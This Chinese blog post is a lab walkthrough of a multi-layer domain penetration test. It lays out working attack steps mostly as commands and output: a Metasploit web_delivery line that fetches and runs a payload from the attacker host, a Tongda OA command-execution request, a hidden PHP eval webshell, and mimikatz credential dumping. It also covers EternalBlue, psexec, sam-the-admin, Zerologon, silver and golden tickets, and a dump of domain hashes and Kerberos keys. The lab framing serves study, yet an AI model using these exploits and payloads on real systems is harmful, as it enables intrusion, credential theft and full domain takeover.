域渗透——多层内网环境渗透测试(三)(下)

举报
亿人安全 发表于 2025/01/31 22:51:18 2025/01/31
113 0 0
【摘要】 eb方式上线Ubuntu运行之后会给出一个payloaduse exploit/multi/script/web_deliveryset target 7   #意思是选择linux的上线方式set payload linux/x64/meterpreter/reverse_tcpset lhost 192.168.52.129set lport 60011exploit好了,万事俱备,现在...

eb方式上线Ubuntu

运行之后会给出一个payload

use exploit/multi/script/web_delivery

set target 7   #意思是选择linux的上线方式

set payload linux/x64/meterpreter/reverse_tcp

set lhost 192.168.52.129

set lport 60011

exploit

图片

好了,万事俱备,现在去二层网络的ubuntu上执行wget下载上线木马

wget -qO 1viRyX4N --no-check-certificate http://192.168.52.129:8080/7phBkP5QVEYVJ; chmod +x 1viRyX4N; ./1viRyX4N& disown

图片

现在我们回到kail上看一眼是否有session回来

输入session命令之后可见已经上线成功

图片

sessions -i 1

图片

目前位置我们上线了msf之后,我们前面已经做过了信息收集,我们需要重新调整,我们得知,已经本台机器可出网的,并且有一张网卡是通30段的,并且我们也可得知,我们的入口机器是无法与30段进行通信的

run get_local_subnets

//可以用此命令查看目标机器所在内网网端信息与公网网端信息。

图片

图片

所以根据此情况,我们需要在msf上添加路由,让我们可以通向30段

run autoroute -s 192.168.52.0 -n 255.255.255.0

run autoroute -p

搭建二层代理隧道

首先,搭建二层代理链路,我们需要继续上传frp

frps服务端的配置文件

图片

frpc客户端的配置文件

图片

python -m http.server

开启http服务

图片

wget http://192.168.52.129:8000/frps

wget http://192.168.52.129:8000/frps.ini

现在我们回到入口机器,上传frps,并且运行他

图片

chmod +x frps;./frps -c frps.ini

图片

然后下载frpc到二层网络中的ubuntu中

我们来到msf控的ubuntu中进行下载

wget http://192.168.52.129:8000/frpc

wget http://192.168.52.129:8000/s.txt

wget http://192.168.52.129:8000/fscan_amd64_linux

图片

然后运行他

chmod +x frpc

./frpc -c s.txt

图片

代理连接成功

(注意:二层网络的frps流量是不会实时更新的,估计更新到最外层的vps上了)

图片

详细配置如下

图片

访问二层内网主机OA系统

通过kail的proxychains工具走frp的二层代理证明的代理的可达性

图片

通达OA漏洞测试

经过测试得知其版本为通达OA V11.3

该版本的通达OA存在命令执行漏洞

POST /ispirit/interface/gateway.php HTTP/1.1

Host: 192.168.52.30:8080

Connection: keep-alive

Accept-Encoding: gzip, deflate

Accept: /

User-Agent: python-requests/2.21.0

Content-Length: 76

Content-Type: application/x-www-form-urlencoded


json={"url":"/general/../../attach/im/2102/1811843809.shell.jpg"}&cmd=whoami

图片

写入webshell

尝试过多种下载木马,发现无法下载回到本地,现在的想法是写webshell再来上传

json={"url":"/general/../../attach/im/2102/1811843809.shell.jpg"}&cmd=echo "<?php eval($_REQUEST[8]);?>" >> 1.php

图片

查看的时候并没有写入

图片

尝试单引号写入

图片

也不行

图片

现在单双引号都不行,我打算尝试将一句话木马进行base64编码

<?php eval($_REQUEST[888]);?>

PD9waHAgZXZhbCgkX1JFUVVFU1RbODg4XSk7Pz4K

图片

图片

成功写入编码

图片

certutil -decode C:\MYOA\webroot\ispirit\interface\2.php C:\MYOA\webroot\ispirit\interface\3.php

图片

type 3.php

图片

http://192.168.52.30:8080/ispirit/interface/3.php

密码:888

图片

Webshell权限维持

隐藏我们的webshell

attrib +H +S C:\MYOA\webroot\ispirit\interface\5.php

图片

系统信息收集

systeminfo

判断两张网卡。目标很有可能存在第三层网络,并且机器是win7

图片

从ipconfig /all中得知两个重要的信息点

1、DNS指向了一个域名,很有可能该机器存在域中

2、192.168.93.20这张网卡大概率是通向域控的,因为DNS指向了192.168.93.30

图片

进一步验证域控

nslookup -type=srv ldap.tcp

#查看DNS服务器的地址,⼀般DNS服务器的IP就是域控的地址

nslookup -type=all ldap.tcp.dc._msdcs.jumbolab.com

图片

arp -a

图片

收集凭据

图片

现在信息收集也没有收集到什么特别有用的东西,现在的想法是mimikatz、fscan扫描这个段其他机器的漏洞直接横向过去,但是我又要搭建三层隧道访问内网

图片

回到虚拟终端中执行

mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full"" exit && dir

其他账户其实都不太重要,我们只关注最高权限的账户

值得一提的是,我们发现域控账号登录过我们的机器

我们可以利用这一点来进行做进一步利用

图片

以及一个域用户

图片

账号总结:

* Username : Administrator

  * Domain  : WHOAMIANONY

  * Password : Whoami2021

* Username : bunny

  * Domain  : WHOAMIANONY

  * Password : Bunny2021


拿到这些信息之后,我们可以直接打进域控了,但是为了把战果最大化拿下更多的机器,不明确还会不会有其他linux机器,我们先对第三层网络进行信息收集,我们上传一手fscan

图片

然后我们对192.168.93.20的C段进行扫描

fscan -h 192.168.93.20/24 -o 93.c.txt

图片

查看文件

图片

目前发现域控和另外一台win7都存在着ms17010

图片

根据环境情况,我们的kail是无法访问第三层网络的,我们只能访问到第二层网络的所有机器,所以我们需要搭建三层隧道

Ms17-010永恒之蓝

在此之前,我们之前配置过二层隧道,所以我们的proxychains的配置文件也需要配置一下

二层隧道的配置

图片

这样我们通过代理来把msfconsole的流量带入三层内网

图片

我们优先测试的攻击对象是192.168.93.40,由于机器是不出网的,只能我们自己去访问他,所以我们打ms17-010正向连接

use exploit/windows/smb/ms17_010_eternalblue

set rhosts 192.168.93.40

set payload windows/x64/meterpreter/bind_tcp

set rhost 192.168.93.40

set lport 7789

exploit

图片

攻击成功

图片

system权限,这台机器已经沦陷了

图片

图片

那么我们还剩下最后一台机器,就是域控DC了

Psexec横向移动

我们前面已经获取到域管的密码了,现在直接锤域控就好了

use exploit/windows/smb/psexec

set rhosts 192.168.93.30

set SMBUser administrator

set SMBPass Whoami2021

set payload windows/meterpreter/bind_tcp

set rhost 192.168.93.30

run

图片

图片

图片

图片

目前我们只拿到了会话,没有拿到shell,这里不知为什么反弹不回来

图片

所以现在的想法是,换一种打法

手动Psexec横向移动

首先我们先简历IPC管道连接

net use \192.168.93.30 /u:god\administrator Whoami2021

图片

其次,我们在使用psexec去获取域控的shell权限

PsExec.exe -accepteula \192.168.93.30 -s cmd.exe

可见我们并没有横向过去

图片

手动psexec也无法反弹shell回来,现在我们尝试使用域控的一些漏洞

Sam-the-admin域内提权

proxychains python3 sam_the_admin.py "whoamianony/bunny:Bunny2021" -dc-ip 192.168.93.30 -shell

攻击成功

图片

执行ipconfig

图片

图片

开启域控的3389

reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

图片

查看3389是否开启---> 0-开 1-关

REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

图片

3389上域控桌面

通过我们的隧道去连接3389

proxychains rdesktop 192.168.93.40

(注:这里kail无法直接连接域控的,因为kail无法与kdc进行身份校验,所以只能通过域控中的机器进行远程过去)

图片

上去之后把mimikatz先给到第三层网络的windows7中,然后再拖入dc机器中,远程连接DC机器

图片

然后再192.168.93.40机器上远程控制域控机器

图片

权限维持---白银票据

我们上了域控之后,先手保存域控的SID,然后利用mimikatz获取ntlm,获取域控的SID

S-1-5-21-1315137663-3706837544-1429009142-500

图片

我们先前拿了PC1的权限,现在利用pc1的webshell来开启python HTTP,让域控去访问下载我们的mimikatz

Webshell执行python版本确认为2.7

图片

python -m SimpleHTTPServer 8089

图片

再次确认pc1的ip地址

图片

点击下载mimikatz回到我们的dc机器中

http://192.168.93.20:8089/

图片

域控机器的NTLM

图片

Ntlm:a41cd58e8524eadcc9c029bf51f47dc1

SID:S-1-5-21-1315137663-3706837544-1429009142-500

我们只要拿到这些信息就可以退出远程桌面域控了

回到我们的PC1上进行生成票据即可

Mimikatz里进行生成白银票据

kerberos::golden /domain:whoamianony.org /sid:S-1-5-21-1315137663-3706837544-1429009142 /target:dc.whoamianony.org /service:cifs /rc4:a41cd58e8524eadcc9c029bf51f47dc1 /user:administrator /tickets

图片

权限维持---权限校验

目前还没有导入票据,访问域控是被拒绝的

图片

Mimikatz加载票据到内存中

kerberos::ptt ticket.kirbi

图片

再次访问域控dir \dc.whoamianony.org\c$

可见已经访问成功

图片

Zerologon域攻击(CVE-2020-1472)

https://github.com/mstxq17/cve-2020-1472

图片

secretsdump.py是Impacket工具包中的一个脚本,该脚本实现了多种不需要在远程主机上执行任何代理的情况下转储机密数据的技术。现在用这个脚本+密码的情况下可以获取到域控机器的hash,那么打完置空之后,尝试不适用密码。来尝试一下是否能获取域控的所有用户的hash。

proxychains4 python secretsdump.py whoamianony.org/Administrator:'Whoami2021'@192.168.93.30 -just-dc-user DC$

图片

验证漏洞是否存在:

使用zerologon_tester.py,验证是否存在漏洞

proxychains4 python zerologon_tester.py DC 192.168.93.30

漏洞验证成功,漏洞存在!

图片

漏洞利用:

使用cve-2020-1472-exploit.py将机器账户重置

proxychains4 python cve-2020-1472-exploit.py dc$ 192.168.93.30

攻击结果如下:

图片

现在验证,看一下我们的dc机器是否充值密码为空了

proxychains4 python secretsdump.py whoamianony.org/Administrator:'Whoami2021'@192.168.93.30 -just-dc-user DC$

图片

图片

利用secretsdump.py脚本查看域控的机器账户可以使用DCSync导出域内所有用户凭据,利用DRS(Directory Replication Service,目录复制服务)协议通过IDL_DRSGetNCChanges从域控制器复制用户凭据。


执行命令导出所有用户的hash:

proxychains4 python secretsdump.py whoamianony.org/dc$@192.168.93.30 -no-pass



administrator:500:aad3b435b51404eeaad3b435b51404ee:ab89b1295e69d353dd7614c7a3a80cec:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6be58bfcc0a164af2408d1d3bd313c2a:::

whoami:1001:aad3b435b51404eeaad3b435b51404ee:ab89b1295e69d353dd7614c7a3a80cec:::

whoamianony.org\bunny:1112:aad3b435b51404eeaad3b435b51404ee:cc567d5556030b7356ee4915ff098c8f:::

whoamianony.org\moretz:1115:aad3b435b51404eeaad3b435b51404ee:ba6723567ac2ca8993b098224ac27d90:::

DC$:1002:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

PC2$:1113:aad3b435b51404eeaad3b435b51404ee:3ebdef39f1e95a8b64c726b55aba9ffc:::

SAMTHEADMIN-89$:1603:aad3b435b51404eeaad3b435b51404ee:1e31a9d5b5aabf47c2ee958d12aa7853:::

SAMTHEADMIN-54$:1604:aad3b435b51404eeaad3b435b51404ee:31063770aac7d15b93954d1c92fb0df8:::

[*] Kerberos keys grabbed

krbtgt:aes256-cts-hmac-sha1-96:77dd8d0b0d436b6df02303f0a5a98d95acda6f84144ea53525bfee5ffda45afb

krbtgt:aes128-cts-hmac-sha1-96:aaeee8cffc1ade3061ce78b89237a7b8

krbtgt:des-cbc-md5:9b3446f829dfbf3e

whoamianony.org\bunny:aes256-cts-hmac-sha1-96:62694713f45b34ebcd0dd2ad5a66ebb20a7245e839b5a2a149d2ab367a703120

whoamianony.org\bunny:aes128-cts-hmac-sha1-96:63064306d5306e43c7c56c7d7ac44d57

whoamianony.org\bunny:des-cbc-md5:8fd6bc2980d5523b

whoamianony.org\moretz:aes256-cts-hmac-sha1-96:854ae083f158747bf98a27b4f32bccfe369c8e3d04c5eb12b14c0e25117dc2cf

whoamianony.org\moretz:aes128-cts-hmac-sha1-96:6630108d408ba8ee70eda87474753a21

whoamianony.org\moretz:des-cbc-md5:4ca849cbda4089c7

DC$:aes256-cts-hmac-sha1-96:158b91d51f464d4925203f858df685b6902071fa99d8548db9d949a396953a68

DC$:aes128-cts-hmac-sha1-96:23cdac24d614d6dabbd7a3c66e4e2477

DC$:des-cbc-md5:92da0d348a19a73b

PC2$:aes256-cts-hmac-sha1-96:d7c566fd53be44d2a946e0fe300a672887fa8af3ee94d778933c72aa1042d9c6

PC2$:aes128-cts-hmac-sha1-96:d734ec3f08eb682c495f4701da618f25

PC2$:des-cbc-md5:d94531685b9eba79

SAMTHEADMIN-89$:aes256-cts-hmac-sha1-96:ef559a2f5c37f1e3336f0b99753aaf35b575968306af16aa1c9192df5e00c35e

SAMTHEADMIN-89$:aes128-cts-hmac-sha1-96:7e068864a7269c2bcaf3ff97d784fbc0

SAMTHEADMIN-89$:des-cbc-md5:b6d0496410150e92

SAMTHEADMIN-54$:aes256-cts-hmac-sha1-96:00d76cd973e926ecc688d21ef311e6c6052dc98a3c59ba8588de1d0c433b88e4

SAMTHEADMIN-54$:aes128-cts-hmac-sha1-96:2c676447fce1a1cead4c04b3f9693ff8

SAMTHEADMIN-54$:des-cbc-md5:586b1f16237fdfa1

图片

利用hash登录域控

proxychains4 python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:ab89b1295e69d353dd7614c7a3a80cec administrator@192.168.93.30

图片

接着运行以下命令导出SAM文件:

reg save HKLM\SYSTEM system.save

reg save HKLM\SAM sam.save

reg save HKLM\SECURITY security.save

get system.save

get sam.save

get security.save

del /f system.save

del /f sam.save

del /f security.save


将域控密码进行恢复,避免脱域:

利用本地解密脚本secretsdump.py对刚刚下载下来的.save文件进行解密,命令如下:

python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL


使用脚本reinstall_original_pw.py将域控密码进行恢复,不然会导致脱域。

上面解出来的$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:eaeed2d485e814c7563517f521fe132b

用于下面的恢复脚本进行恢复,hash只需要后半部分即可。

python3 reinstall_original_pw.py DC 192.168.93.30 eaeed2d485e814c7563517f521fe132b


最后,验证一下恢复结果,使用如下命令:

python3 secretsdump.py whoamianony.org/DC$@192.168.93.30 -just-dc -no-pass

python3 secretsdump.py whoamianony.org/DC$@192.168.93.30  -no-pass  # 四个空格


权限维持---黄金票据

目前是不可访问状态:

图片

接下来制作金票


S-1-5-21-1315137663-3706837544-1429009142-500

krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6be58bfcc0a164af2408d1d3bd313c2a:::

kerberos::golden /admin:administrator /domain:whoamianony.org /sid:S-1-5-21-1315137663-3706837544-1429009142 /krbtgt:6be58bfcc0a164af2408d1d3bd313c2a /ticket

图片

Kerberos::ptt ticket.kirbi

图片

重启cmd,再次访问域控机器

图片

总结

通过上述过程,我们对比如白银票据,黄金票据,Docker逃逸,Zerologon域攻击(CVE-2020-1472)等漏洞有了新的认知或者理解,网络安全的学习离不开实际操作,想要搞明白漏洞更是要实际去复现学习。靶场还包含其他一些域提权的漏洞与方式,大家可以继续尝试。

最后希望大家提高安全意识,没有网络安全就没有国家安全!

【声明】本内容来自华为云开发者社区博主,不代表华为云及华为云开发者社区的观点和立场。转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息,否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

作者其他文章

评论(0

抱歉,系统识别当前为高风险访问,暂不支持该操作

    全部回复

    上滑加载中

    设置昵称

    在此一键设置昵称,即可参与社区互动!

    *长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

    *长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。